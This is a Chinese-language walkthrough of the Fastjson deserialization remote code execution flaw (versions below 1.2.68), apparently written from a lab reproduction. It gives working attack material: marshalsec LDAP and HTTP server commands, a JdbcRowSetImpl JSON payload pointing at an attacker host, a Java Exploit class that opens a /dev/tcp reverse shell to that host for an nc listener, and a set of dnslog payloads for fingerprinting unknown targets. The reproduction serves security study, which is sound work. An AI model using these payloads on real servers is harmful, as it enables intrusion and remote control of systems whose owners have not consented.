0x00 簡介
fastjson 是阿里巴巴的開源JSON解析庫,它可以解析 JSON 格式的字符串,支持將 Java Bean 序列化為 JSON 字符串,也可以從 JSON 字符串反序列化到 JavaBean。
Fastjson是一個Java庫,可用於將Java對象轉換為其JSON表示形式。它還可以用於將JSON字符串轉換為等效的Java對象,fastjson爆出多個反序列化遠程命令執行漏洞,攻擊者可以通過此漏洞遠程執行惡意代碼來入侵服務器。
0x02影響范圍
Fastjson < 1.2.68
Fastjson爆出的繞過方法可以通殺1.2.68版本以下所有
0x03漏洞復現
參考鏈接:
https://www.cnblogs.com/renhaoblog/p/13033723.html
原理是:就是要理解rmi/ldap 是什么。簡單來說就是遠程方法調用。
A去調用主機c的rmi里的惡意java程序。 構造的惡意java程序可以是寫文件、反彈shell等。構造什么就執行什么。(docker部署環境很多包都沒裝,所以反彈shell比較直觀)
所以我們需要 :
主機A 漏洞服務器
主機C rmi/ladp服務器
主機B 惡意java類
(此處B、C是一台服務器的不同端口,最終監聽反彈shell也是該服務器,nc監聽 3333)
配置如下:
主機A vulfocus fastjson漏洞主機 113.**.3
主機B、C 分別為vps的兩個服務。107.*.*.24
主機B 開啟ldap服務主機。命令如下:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://107.*.*.24:9090/#Exploit 9999
主機C 開啟web服務,可以訪問我們編譯好的class文件。 開啟服務命令,python3 -m http.server 9090(執行此命令目錄為存在ExPloit.class文件目錄)
0x04工具鏈接
工具:marshalsec,需要用mvn打包一下,
github:https://github.com/mbechler/marshalsec
鏈接: https://pan.baidu.com/s/1wfPsOAWKuzh8MVGRT6CSFg 提取碼: yk3i 復制這段內容后打開百度網盤手機App,操作更方便哦
burp payload如下:
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://107.*.*.24:9999/Exploit", 此處為ldap 地址非 python web服務地址。
"autoCommit":true
}
nc反彈shell
攻擊反彈shell腳本
使用 javac Exploit.java生成 Exploit.class文件。
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/107.*.*.24/3333;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }
0x05判斷使用fastjson的方法
未知目標是否使用 Fastjson ,但站點有原始報錯回顯
如果站點有原始報錯回顯,可以用不閉合花括號的方式進行報錯回顯,報錯中往往會有fastjson的字樣
例如
無回顯,通過DNS回顯的方式盲區分 Fastjson 和 Jackson
我使用以下payload測試
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}

最新版本1.2.67依然可以通過dnslog判斷后端是否使用fastjson
1 {"@type":"java.net.Inet4Address","val":"dnslog"} 2 {"@type":"java.net.Inet6Address","val":"dnslog"}
畸形的
1 {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
POC:
要嵌套在里面zeo里面
1{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}} 1 {"@type":"java.net.Inet4Address","val":"dnslog"} 2 {"@type":"java.net.Inet6Address","val":"dnslog"} 3 {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} 4 {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""} 5 {{"@type":"java.net.URL","val":"dnslog"}:"aaa"} 6 Set[{"@type":"java.net.URL","val":"dnslog"}] 7 Set[{"@type":"java.net.URL","val":"dnslog"} 8 {{"@type":"java.net.URL","val":"dnslog"}:0
內容參考鏈接如下:
https://blog.csdn.net/god_zzZ/article/details/107122487